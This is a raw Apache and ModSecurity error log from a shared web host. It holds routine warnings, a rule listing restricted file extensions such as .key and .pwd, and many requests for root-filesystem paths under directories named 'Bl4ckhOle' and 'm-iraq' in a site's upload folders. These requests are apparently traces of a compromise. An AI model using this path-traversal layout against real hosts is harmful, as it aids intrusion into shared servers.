[Fri Jul 17 08:14:29.887552 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.887606 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.887644 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.887682 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.968522 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:30.136718 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:30.144299 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:30.418870 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:30.446757 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:30.619505 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:30.661096 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:30.805683 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:30.809658 2026] [security2:error] [pid 1996894:tid 1996894] [client 47.82.14.146:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/sqlsrv.ini"] [unique_id "almXDo4Wmn5zySdNNkAiQAAAABM"]
[Fri Jul 17 08:14:30.810485 2026] [security2:error] [pid 1996894:tid 1996894] [client 47.82.14.146:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/sqlsrv.ini"] [unique_id "almXDo4Wmn5zySdNNkAiQAAAABM"]
[Fri Jul 17 08:14:30.828290 2026] [security2:error] [pid 1996894:tid 1996894] [client 47.82.14.146:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/sqlsrv.ini"] [unique_id "almXDo4Wmn5zySdNNkAiQAAAABM"]
[Fri Jul 17 08:14:30.952627 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:30.991652 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:30.997407 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:31.113111 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:31.130619 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:31.259473 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:31.371294 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:51828] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:31.532963 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:31.715064 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:32.456108 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:32.742291 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:32.882925 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:33.180476 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:33.374423 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:33.703183 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.014774 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.024157 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.052120 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.062405 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.105726 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.234961 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.267693 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.268461 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.444169 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.538349 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.561602 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.632456 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.660677 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.782716 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:02/physical_node/remove
[Fri Jul 17 08:14:34.807565 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:34.874335 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:0c/eject
[Fri Jul 17 08:14:35.010962 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:35.051923 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:35.083579 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:35.166611 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/LNXCPU:03/eject
[Fri Jul 17 08:14:35.352693 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:35.447130 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:35.734804 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:36.099762 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:36.558347 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:36.585026 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:36.904744 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:36.946932 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:37.085758 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:37.129747 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:37.142691 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:37.148311 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:37.190143 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:37.213498 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:09/eject
[Fri Jul 17 08:14:37.398861 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:37.490141 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/device:20/eject
[Fri Jul 17 08:14:37.678903 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty21/subsystem/ttyS2/line
[Fri Jul 17 08:14:38.044266 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:39.256178 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:39.621224 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup10/device/subsystem/devices/device:1b/eject
[Fri Jul 17 08:14:39.726680 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:1b/eject
[Fri Jul 17 08:14:39.825515 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:39.916199 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:40.007152 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:40.189996 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:40.376892 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:40.468156 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:40.576666 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:1a/eject
[Fri Jul 17 08:14:40.866731 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:40.956776 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/device/subsystem/devices/device:1c/eject
[Fri Jul 17 08:14:41.146002 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:41.258799 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0F13:00/subsystem/uevent
[Fri Jul 17 08:14:41.709067 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:41.891579 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:41.986172 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/devices/device:03/eject
[Fri Jul 17 08:14:42.351507 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:42.440596 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:42.531650 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:42.730212 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:42.821336 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:42.916286 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:43.022478 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:43.722090 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXGxAi3pC6yjXGNq16ugAAAAU"], referer: http://www.anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:14:43.722122 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXGxAi3pC6yjXGNq16ugAAAAU"], referer: http://www.anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:14:44.662661 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:45.207670 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/LNXCPU:01/eject
[Fri Jul 17 08:14:45.312583 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:45.752755 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/TCP/trace
[Fri Jul 17 08:14:45.850763 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:45.947124 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty9/subsystem/tty49/subsystem/ttyS0/flags
[Fri Jul 17 08:14:46.039439 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:46.040707 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/thermal/cooling_device3/device/subsystem/devices/device:0e/"] [unique_id "almXHgG5-NXx3Mem1QgLyAAAAA8"]
[Fri Jul 17 08:14:46.040730 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/thermal/cooling_device3/device/subsystem/devices/device:0e/"] [unique_id "almXHgG5-NXx3Mem1QgLyAAAAA8"]
[Fri Jul 17 08:14:46.590433 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/remove
[Fri Jul 17 08:14:46.690660 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:46.777662 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:47.093834 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:47.150553 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:47.238717 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/devices/device:08/eject
[Fri Jul 17 08:14:47.343311 2026] [security2:error] [pid 1993998:tid 1993998] [client 34.162.210.203:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-global": Permission denied [hostname "www.colperlab.com"] [uri "/index.php"] [unique_id "almXH2idQp3SsqeycPEqVgAAAAo"]
[Fri Jul 17 08:14:47.343351 2026] [security2:error] [pid 1993998:tid 1993998] [client 34.162.210.203:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-ip": Permission denied [hostname "www.colperlab.com"] [uri "/index.php"] [unique_id "almXH2idQp3SsqeycPEqVgAAAAo"]
[Fri Jul 17 08:14:47.355989 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:47.543563 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:47.547529 2026] [proxy_fcgi:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:14:47.693048 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:41762] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:48.228731 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:49.078997 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:49.448681 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:49.633643 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:50.916462 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:51.126170 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:51.697953 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty35/subsystem/tty49/uevent"] [unique_id "almXI7yEqmgiTSUa55oFgAAAABA"]
[Fri Jul 17 08:14:51.698000 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty35/subsystem/tty49/uevent"] [unique_id "almXI7yEqmgiTSUa55oFgAAAABA"]
[Fri Jul 17 08:14:51.934457 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:52.055198 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:52.085672 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/tmp/tmpmq_j259m
[Fri Jul 17 08:14:52.086138 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/tmp/tmpmq_j259m"] [unique_id "almXJAG5-NXx3Mem1QgLzQAAAA8"]
[Fri Jul 17 08:14:52.086175 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/tmp/tmpmq_j259m"] [unique_id "almXJAG5-NXx3Mem1QgLzQAAAA8"]
[Fri Jul 17 08:14:52.286954 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/virtio/drivers/virtio_console/module/uevent
[Fri Jul 17 08:14:53.058392 2026] [core:crit] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/backup/js/Bl4ckhOle/root/home/cagefs-skeleton/proc/thread-self/cwd/boot/efi/EFI/centos/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/backup/js/Bl4ckhOle/root/home/cagefs-skeleton/proc/thread-self/cwd/boot/efi/EFI/centos/' is executable
[Fri Jul 17 08:14:53.444011 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:53.639029 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/physical_node/subsystem/uevent
[Fri Jul 17 08:14:53.827285 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/LNXCPU:01/eject
[Fri Jul 17 08:14:53.920470 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:54.089753 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:57030] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:54.137224 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/device:20/eject
[Fri Jul 17 08:14:54.434428 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:57056] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:54.437177 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:54.527606 2026] [core:error] [pid 2005917:tid 2005917] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/devices/device:06/eject
[Fri Jul 17 08:14:54.630222 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:54.631512 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup11/device/device:1e/subsystem/devices/device:13/"] [unique_id "almXJpOFLENLI63GGOEH0wAAAAQ"]
[Fri Jul 17 08:14:54.631535 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup11/device/device:1e/subsystem/devices/device:13/"] [unique_id "almXJpOFLENLI63GGOEH0wAAAAQ"]
[Fri Jul 17 08:14:54.713226 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:54.895959 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:55.374432 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:55.814023 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:57162] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:55.837336 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:56.028011 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
